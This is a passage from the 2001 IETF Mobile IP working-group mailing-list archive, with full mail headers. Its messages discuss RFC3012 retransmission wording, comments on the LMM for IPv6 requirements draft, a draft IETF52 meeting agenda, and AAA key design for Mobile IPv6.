<BLOCKQUOTE style="MARGIN-RIGHT: 0px">
  <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma 
  size=2>-----Original Message-----<BR><B>From:</B> Patil Basavaraj (NET/Dallas) 
  [mailto:Basavaraj.Patil@nokia.com]<BR><B>Sent:</B> Tuesday, November 13, 2001 
  4:20 PM<BR><B>To:</B> Muhanna, Ahmad [RICH1:2Q20:EXCH]; Perkins Charles 
  (IPRG)<BR><B>Cc:</B> Wenzel, Pete [RICH2:2Q00:EXCH]; Mobile IP Working Group; 
  Pat Calhoun<BR><B>Subject:</B> RE: [mobile-ip] URGENT - rfc3012 interpretation 
  question<BR><BR></DIV></FONT>
  <DIV><BR><FONT color=#0000ff face=Arial size=2>Charlie proposed the following 
  text:<BR>&gt;======================================================================= 
  <BR>&gt;<BR>&gt;Here is the new relevant text, in the same paragraph as your 
  original <BR>&gt;quote: <BR>&gt;<BR>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
  ....&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The Foreign Agent SHOULD check that the 
  mobile node is <BR>&gt;&nbsp;&nbsp; actually performing a retransmission, by 
  verifying that the relevant <BR>&gt;&nbsp;&nbsp; fields of the retransmitted 
  request are the same as represented in <BR>&gt;&nbsp;&nbsp; the visitor list 
  entry for the pending Registration Request (section <BR>&gt;&nbsp;&nbsp; 3.7.1 
  of [8]).&nbsp; This verification MUST NOT include the "remaining 
  <BR>&gt;&nbsp;&nbsp; Lifetime of the pending registration", or the 
  Identification field <BR>&gt;&nbsp;&nbsp; since those values are likely to 
  change even for requests that are <BR>&gt;&nbsp;&nbsp; merely retransmissions 
  and not new Registration Requests.&nbsp; In all <BR>&gt;&nbsp;&nbsp; other 
  circumstances, if the Foreign Agent receives&nbsp;&nbsp; .... 
  <BR>&gt;<BR>&gt;======================================================================= 
  <BR>&gt;<BR>&gt;Comments? <BR>&gt;<BR>&gt;&gt;Ahmad Muhanna: <BR>&gt;&gt;I 
  hope you would agree that the following change will satisfy the need: 
  <BR>&gt;&gt;<BR>&gt;&gt;"If a mobile node retransmits a Registration Request 
  with the same <BR>&gt;&gt;Identification field and the same Challenge 
  extension, and the Foreign <BR>&gt;&gt;Agent still has a pending Registration 
  Request record in effect for the <BR>&gt;&gt;mobile node, then the Foreign 
  Agent forwards the Registration Request to <BR>&gt;&gt;the Home Agent again 
  (see Registration Retransmission, section 3.6.3[8]). <BR>&gt;&gt;In all other 
  circumstances, if the Foreign Agent receives a Registration 
  <BR>&gt;&gt;Request with a Challenge extension containing a Challenge value 
  previously <BR>&gt;&gt;used by that mobile node, the Foreign Agent SHOULD send 
  a Registration <BR>&gt;&gt;Reply to the mobile node containing the Code value 
  STALE_CHALLENGE." <BR>&gt;<BR>&gt;Regards, <BR>&gt;Charlie P. 
  <BR>&gt;</FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2></FONT>&nbsp;</DIV>
  <DIV><FONT color=#0000ff face=Arial size=2>I think the text that Charlie 
  proposes makes it quite clear as to what<BR>the FA must do in order to 
  recognize, if it is a retransmission. So I<BR>would recommend going with 
  Charlie's text in the revision for this<BR>spec. </FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2></FONT>&nbsp;</DIV>
  <DIV><FONT color=#0000ff face=Arial size=2>-Basavaraj</FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2></FONT>&nbsp;</DIV>
  <DIV><SPAN class=000031822-13112001><FONT color=#0000ff face=Arial 
  size=2></FONT></SPAN>&nbsp;</DIV>
  <DIV><FONT color=#0000ff face=Arial size=2></FONT>&nbsp;</DIV>
  <DIV>&nbsp;</DIV></BLOCKQUOTE></BODY></HTML>

------_=_NextPart_001_01C16CBD.337B6C70--


From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 14 05:58:28 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA17501
	for <mobileip-archive@lists.ietf.org>; Wed, 14 Nov 2001 05:58:28 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA24104;
	Wed, 14 Nov 2001 03:57:06 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA24289;
	Wed, 14 Nov 2001 02:57:12 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAEAuNLS013382
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 14 Nov 2001 02:56:23 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAEAuN8Z013381
	for mobile-ip-dist; Wed, 14 Nov 2001 02:56:23 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAEAuJLS013374
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 14 Nov 2001 02:56:19 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA28901
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 14 Nov 2001 02:56:21 -0800 (PST)
Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA23393
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 14 Nov 2001 03:56:02 -0700 (MST)
Received: from esealnt461 (esealnt461.al.sw.ericsson.se [153.88.251.61])
	by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with SMTP id fAEAuGf21632
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 14 Nov 2001 11:56:16 +0100 (MET)
Received: FROM esealnt742.al.sw.ericsson.se BY esealnt461 ; Wed Nov 14 11:56:02 2001 +0100
Received: by esealnt742.al.sw.ericsson.se with Internet Mail Service (5.5.2653.19)
	id <TH2LV24M>; Wed, 14 Nov 2001 11:48:16 +0100
Message-ID: <4DA6EA82906FD511BE2F00508BCF053801C4C055@Esealnt861.al.sw.ericsson.se>
From: "Hesham Soliman (ERA)" <hesham.soliman@era.ericsson.se>
To: "'mobile-ip@sunroof.eng.sun.com'" <mobile-ip@sunroof.eng.sun.com>
Subject: RE: [mobile-ip] LMM for IPv6 requirements draft (new revision .01
	)
Date: Wed, 14 Nov 2001 11:55:55 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

Cedric, 

Thanks for the feedback, 
I haven't been able to contribute much to
the requirements group recently so I have some 
additions / comments below. 



3.4.1:  "Scalability guarantees to support millions of nodes for an AD"
Is this about scaling, or about supporting a large number of users?
This, unlike
other subsection headings, is not phrased as a requirement. I'd replace
it with
the first sentence, but then again, I don't know what the scaling of a
_framework_
means. Get rid of number references. There is a billion cell phone users
on this
earth today, so millions are already not enough. 

=> I agree, numbers won't mean much, the linearity 
requirement should cover that. 

There are two
requirements in the
paragraph anyway (and they contradict: one says "it should scale", the
other
says "it should be distributed so as to avoid scaling effects").
Also, replace "linearly" with "at most linearly", as we can accept
better than linear
performance.

=> Agreed.

3.4.4: The last MUST NOT seems hard to enforce. It is expected, and I
don't think
it is bad, that the amount of signaling would increase as the number of
users, as the
Local Domain expands in size.

=> Yes. 


3.4.8 link layer
I am confused here by this requirement. Is LMM a MIPv6 extension, as
described in
the document? So why does it care about L2 in general, and L2
optimizations in particular?

=> I agree. I thought we agreed to remove that. 

3.5.4 Should be removed or clarified. Who is detecting the movement
between seperated domains?
The MN, the CNs, the HA, the LMA? Is it a domain addressing issue (which
should be
left out here). The sentence: "The reason for this ...is that there is a
need...for the mechanism
to work..." is pure casuistic. If it is a non-LMM mechanism, what is it
doing here? Etc.


=> I can't agree more, this requirement definitely
does not belong to LMM or this draft. This is a whole
different domain of work.

3.7 LMM disrupts IP routing by adding host routes. Should be rephrased
as: LMM MUST
NOT disrupt IP routing outside of the LM domain.

=> Makes sense.

3.8 Last paragraph "To avoid concentration....populate the
administrative domain". Remove the
paragraph. There is no concern that MNs mobility patterns would be
affected or influenced
by the LMM-agents (btw, it is LMA in the terminology). Is this paragraph
saying that
MN will flock to an access point close to a LMA? Do cell phone users
aggregate in front
of building carrying base stations?

=> I never understood this requirement, perhaps Carl 
or someone can clarify. 


3.14 Quality

------------------------------------
Missing reqs
-----------------------------------
Even though you request that no new reqs be provided, let me make the
case for one:

3.15 QoS

The LMM MUST interwork with the QoS schemes to:
3.15.1-hide the mobility of the MN to its peer by avoiding end-to-end
QoS signaling.
3.15.2-facilitate the new provisioning of both uplink and downlink QoS
after a handoff

1- means that the uplink traffic MUST be tunneled through the LMA.
(this is assume in the document, it must be explicited. Current LMM
proposals
(HMIP, RegRegv6) have an uplink that is not tunneled through the LMA.
This allows the CN to be aware of the local mobility of the MN by
looking at
the source IP address.) This draft makes the assumption that the
uplink traffic is tunneled through the LMA (section 3.4.7). It also
mention
provisioning in 1.3 as one of the goals of the LMM.

Having an optimized (non-triangular) uplink means that in case of QoS
renegotiation
after handoff end-to-end for the uplink, the location is not hidden to
the CN. It also introduces
delays and extra signaling in having to renegotiate e2e. By having a
potentially
distinct uplink and downlink, it introduces the need for distinct QoS
signaling uplink
and downlink for re-establishment after handoff. On the other hand, by
having
both uplink and downlink going through the LMA, the handoff implies
changing
on the paths only below the LMA. One QoS re-establishment request can be
sent
to the LMA for both up and downlink.

2-means that LMM and QoS (like LMM and IP routing) MUST work
hand-in-hand.

=> I understand what you're trying to get to, but there is 
clearly a compromise and inefficiency here in terms 
of routing, additional dealys ...etc if the CN is 
closer than the LMM agent. Having said that I've actually
added this feature in the HMIPv6 draft, but for a different
reason. I'm neutral to this requirement really, I see 
your point but I can also envisage different ways of 
re-establishing the QoS path within the domain. For instance
a combination of Context transfer and proxy RSVP
from the new AR might also work, but I haven't looked
into it in more detail. 

I have another comment on the requirement for LMM to use 
strong authentication. I can understand it if we want to 
allow LMM to use strong authentication (PKI ...etc) 
optionally in addition to the -TBD- MIPv6 SA establishment
protocol. But I certainly don't think we should mandate
strong authentication only for LMM. This seems very strange
in light of the current MIPv6 security debacle. 
 

Regards,
Hesham


From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 14 11:46:37 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA02910
	for <mobileip-archive@odin.ietf.org>; Wed, 14 Nov 2001 11:46:37 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id IAA25784;
	Wed, 14 Nov 2001 08:45:05 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA12126;
	Wed, 14 Nov 2001 08:44:51 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAEGi0LS013982
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 14 Nov 2001 08:44:00 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAEGi0ac013981
	for mobile-ip-dist; Wed, 14 Nov 2001 08:44:00 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAEGhuLS013974
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 14 Nov 2001 08:43:56 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA18262
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 14 Nov 2001 08:43:38 -0800 (PST)
Received: from mgw-dax1.ext.nokia.com (mgw-dax1.ext.nokia.com [63.78.179.216])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA25057
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 14 Nov 2001 09:43:39 -0700 (MST)
Received: from davir03nok.americas.nokia.com (davir03nok.americas.nokia.com [172.18.242.86])
	by mgw-dax1.ext.nokia.com (Switch-2.1.0/Switch-2.1.0) with ESMTP id fAEGi1Q12076
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 14 Nov 2001 10:44:01 -0600 (CST)
Received: from daebh001.NOE.Nokia.com (unverified) by davir03nok.americas.nokia.com
 (Content Technologies SMTPRS 4.2.5) with ESMTP id <T5736dd6db5ac12f256126@davir03nok.americas.nokia.com> for <mobile-ip@sunroof.eng.sun.com>;
 Wed, 14 Nov 2001 10:43:55 -0600
Received: from daebe007.NOE.Nokia.com ([172.18.242.211]) by daebh001.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.2966);
	 Wed, 14 Nov 2001 10:43:55 -0600
content-class: urn:content-classes:message
Subject: [mobile-ip] Draft Agenda for IETF52
Date: Wed, 14 Nov 2001 10:43:41 -0600
Message-ID: <697DAA22C5004B4596E033803A7CEF444CD0AC@daebe007.NOE.Nokia.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Thread-Topic: Draft Agenda for IETF52
X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0
Thread-Index: AcFtK4r0KPNtV9kSEdWxMERFU1R3dw==
From: "Patil Basavaraj (NET/Dallas)" <Basavaraj.Patil@nokia.com>
To: "'Mobile IP'" <mobile-ip@sunroof.eng.sun.com>
X-OriginalArrivalTime: 14 Nov 2001 16:43:55.0311 (UTC) FILETIME=[8C9B8BF0:01C16D2B]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id fAEGhuLS013975
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 8bit


Mobile IP WG meeting (Dec 12th, 0900-1130)
------------------------------------------

1   Agenda Bashing		15 Mins		WG Chairs	
    WG Doc Status						

2   Security for MIPv6 discussion                    60 Mins
    draft-ietf-mobileip-mipv6-sec-reqts-02.txt
    draft-montenegro-mipv6-seceval-00.txt	    [Gabriel Montenegro
    draft-arkko-mipv6ro-secframework-00.txt          Erik Nordmark
    draft-savola-ipv6-rh-ha-security-00.txt	     Jari arkko]

3   Piggybacking of BUs		10 Mins		Charles Perkins	

4   RFC3012bis	draft-ietf-mobileip-rfc3012bis-00.txt	10 Mins
Charles/Pat

5   Other WG items					30 Mins
    draft-ietf-mobileip-lowlatency-handoffs-v4-02.txt	Karim El-Malki
    draft-ietf-mobileip-fast-mipv6-02.txt		Gopal Dometty
    draft-ietf-mobileip-lmm-requirements-01.txt		Carl Williams

6   MIPv6 at ETSI Bakeoff Report 10 Mins		Francis Dupont

7   MIPv4 with NATs and Firewalls			15 Mins
    draft-levkowetz-vaarala-mobileip-nat-traversal-00.txt  Henrik L.
    draft-adrangi-mobileip-natvpn-traversal-00.txt	   Prakash Iyer	


From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 14 14:12:54 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA12077
	for <mobileip-archive@odin.ietf.org>; Wed, 14 Nov 2001 14:12:53 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id HAA03449;
	Wed, 14 Nov 2001 07:59:12 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA24793;
	Wed, 14 Nov 2001 07:58:30 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAEFvKLS013861
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 14 Nov 2001 07:57:20 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAEFvK8m013860
	for mobile-ip-dist; Wed, 14 Nov 2001 07:57:20 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAEFvGLS013853
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 14 Nov 2001 07:57:16 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA01072
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 14 Nov 2001 07:57:17 -0800 (PST)
Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.24.11])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA23912
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 14 Nov 2001 07:57:16 -0800 (PST)
Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id fAEFvHW00577;
	Wed, 14 Nov 2001 07:57:17 -0800 (PST)
Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53])
	by mira-sjc5-7.cisco.com (Mirapoint)
	with ESMTP id AAI20081;
	Wed, 14 Nov 2001 07:56:40 -0800 (PST)
Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id HAA18633; Wed, 14 Nov 2001 07:57:15 -0800 (PST)
From: Michael Thomas <mat@cisco.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15346.37979.229494.723031@thomasm-u1.cisco.com>
Date: Wed, 14 Nov 2001 07:57:15 -0800 (PST)
To: mobile-ip@sunroof.eng.sun.com
Cc: Fredrik Johansson <fredrik.johansson@ipunplugged.com>
Subject: Re: [mobile-ip] AAA keys design comment
In-Reply-To: <3BEF25EA.4BAE9A38@iprg.nokia.com>
References: <MJEMJBGGCLLDLFFAHLJKAEGHDHAA.fredrik.johansson@ipunplugged.com>
	<3BEF25EA.4BAE9A38@iprg.nokia.com>
X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid
X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4m<D]vnFJ>u!4x[/Z4t{V}~L]+Sk
 @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd
 bUcI'1!
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Charles E. Perkins writes:
 > Hello Fredrik,
 > 
 > While reading through the AAA keys discussion, I found this text:
 > 
 > >>   It appears that I've been thinking of this too
 > >>   much like the v6 model which _does_ require the
 > >>   round trip to the HA at all times since there's
 > >>   no FA.
 > > 
 > > it's not only the roundtrip over the air that can be
 > > more expensive, it's also between the home and foreign
 > > network (when the HA is allocated in the home network).
 > 
 > I don't see why we can't use the same AAA/Mobile IP model
 > for IPv6 as for IPv4, since some sort of local attendant
 > function looks pretty likely.  For Mobile IPv4, the foreign
 > agent is the logical place to put the additional attendant
 > functionality, but it also has to be somewhere local
 > in IPv6.  We have the AAAv6 draft for this purpose, and
 > eventually we hope that AAA will pick it up as a work
 > item since the IPv6 working group has essentially
 > validated the usefulness of having some sort of AAA
 > model for authorizing network access for IPv6.  I have to
 > be careful to avoid giving the impression that IPv6 has
 > validated our AAAv6 draft, because that isn't the case.
 > There seem to be many interacting features, and lately
 > I have not had time to push forward on this particular
 > draft.

   If you read the article that Fredrik responded
   to, you will find that for mipv6 there is an
   additional round trip required since there's 
   no such thing as proxied binding updates in 
   mipv6. There's also the same fate sharing
   problem as in mipv4 with the HA and AAAh. 
   Thirdly, there's no such thing as a foreign 
   agent in mipv6. Positing one for AAA is a 
   major deviation of the design, and one that
   the wg has been trying to steadfastly avoid.

	  Mike


From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 14 14:34:40 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA13155
	for <mobileip-archive@odin.ietf.org>; Wed, 14 Nov 2001 14:34:39 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id LAA23322;
	Wed, 14 Nov 2001 11:33:25 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA11406;
	Wed, 14 Nov 2001 11:32:48 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAEJVuLS014283
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 14 Nov 2001 11:31:56 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAEJVuqM014282
	for mobile-ip-dist; Wed, 14 Nov 2001 11:31:56 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAEJVrLS014275
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 14 Nov 2001 11:31:53 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA26194
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 14 Nov 2001 11:31:53 -0800 (PST)
Received: from docomolabs-usa.com (fridge.docomo-usa.com [216.98.102.228])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA16979
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 14 Nov 2001 11:31:53 -0800 (PST)
Received: from T23KEMPF (dhcp126.docomo-usa.com [172.21.96.126])
	by docomolabs-usa.com (8.11.3/8.11.3) with SMTP id fAEJVq501085;
	Wed, 14 Nov 2001 11:31:52 -0800 (PST)
Message-ID: <016701c16d42$c9b165c0$cc6ffea9@T23KEMPF>
From: "James Kempf" <kempf@docomolabs-usa.com>
To: <mobile-ip@sunroof.eng.sun.com>
Cc: "Carl Williams" <carlw@docomolabs-usa.com>
References: <01c901c16990$061f5b90$686015ac@docomocarl> <3BF1D482.E33A9DE0@iprg.nokia.com>
Subject: Re: [mobile-ip] LMM for IPv6 requirements draft (new revision .01)
Date: Wed, 14 Nov 2001 11:30:15 -0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Cedric/All,

I'm looking at draft-ietf-mobileip-lmm-requirements-01.txt on
http://www.docomolabs-usa.com (it has not yet been posted to ISI), and I
don't see any requirement listed as 3.4.8. Section 3.4 only goes up to
3.4.7.

As for the rest of  Cedric's comments, I agree.

Also, I'd like to register an objection to the following wording in
Section 3.9:

   These enhancements are intended to minimize handoff latency
   and reduce packet loss.  LMM and FMIP protocols MUST BE able
   to be deployed independently of each other.  However, when
   the two classes of protocols co-exist, LMM and FMIP MUST
   maintain compatibility in their signaling interactions for
   fulfilling complementary roles with respect to each other.

This wording essentially rules out any solution that would combine with
fast handoff. I think that is a mistake because it may be possible to
obtain a solution that is simple and easy to deploy and implement which
is tightly bound with one of the fast handoff algorithms. This is not to
say that it should be the only solution, so that if another fast handoff
algorithm were deployed, another LMM solution might be required.

I think what this requirement is getting at is that there must be an LMM
solution that is available regardless of the handoff algorithm. The
current text does not cover standard MIPv6, so, given the current text,
it would be possible to develop a LMM
solution that does not cover standard MIPv6 handoff and it would still
be compatible with the requirements. I think the
requirement should ensure that SMIPv6 is covered as well.

 So how about.

3.9 Support for MIPv6 Handover.

   An LMM solution MUST be available for all standardized MIPv6 handover
algorithms. The signaling interactions
   between the handover algorithms and LMM MUST maintain compatibility.
This requirement SHOULD NOT be interpreted
   as ruling out useful optimizations of LMM and MIPv6 handoff that
simplify the implementation or deployment of LMM or
   MIPv6 handover.

            jak





----- Original Message -----
From: "Cedric Westphal" <cedric@iprg.nokia.com>
To: <mobile-ip@sunroof.eng.sun.com>
Cc: "Carl Williams" <carlw@docomolabs-usa.com>
Sent: Tuesday, November 13, 2001 6:18 PM
Subject: Re: [mobile-ip] LMM for IPv6 requirements draft (new revision
.01)


> great work!
> thanks for putting together the LMM requirements draft, and I have a
> couple comments.
> I organize them as: comments on the reqs, new reqs, and editorial
> comments.
>
> ----------------------
> Comments on the requirements
> ---------------------
> 1.2 Principles of the LMM
>
> It seems to me that this subsection belongs to the solution space.
"This
> is done
> by [...] assigning two care-of addresses..." and other sentences like
> this one describe how to implement LMM. This should not be in a req
> draft. The principles should be at a concept level. Or the whole
> paragraph should
> be scrapped. (Same issue in 2.0 Terminology:  the LMA is defined in
> solution space,
> and not concept space).
>
> 3.3 Induced LMM functional requirements
> ("Functional requirements induced by LMM" would be better0
>
> 3.3.1 and 3.3.3: I do not see the difference. Please merge or clarify.
>
> 3.4 Scalability
>
> Shouldn't 3.3.2 be filed in there?
>
> 3.4.1:  "Scalability guarantees to support millions of nodes for an
AD"
> Is this about scaling, or about supporting a large number of users?
> This, unlike
> other subsection headings, is not phrased as a requirement. I'd
replace
> it with
> the first sentence, but then again, I don't know what the scaling of a
> _framework_
> means. Get rid of number references. There is a billion cell phone
users
> on this
> earth today, so millions are already not enough. There are two
> requirements in the
> paragraph anyway (and they contradict: one says "it should scale", the
> other
> says "it should be distributed so as to avoid scaling effects").
> Also, replace "linearly" with "at most linearly", as we can accept
> better than linear
> performance.
>
> 3.4.4: The last MUST NOT seems hard to enforce. It is expected, and I
> don't think
> it is bad, that the amount of signaling would increase as the number
of
> users, as the
> Local Domain expands in size.
>
> 3.4.7 Technically, it is not triangular routing, as uplink is
optimized
> and downlink is
> triangular. Actually, it assumes that "all traffic MUST go through the
> LMM agent"
> (MUST emphasis mine), uplink and downlink. More on this later.
>
> 'The LMM framework SHOULD support optimal placement...LMM"
> This is an implementation issue.  Should be removed.
>
> 3.4.8 link layer
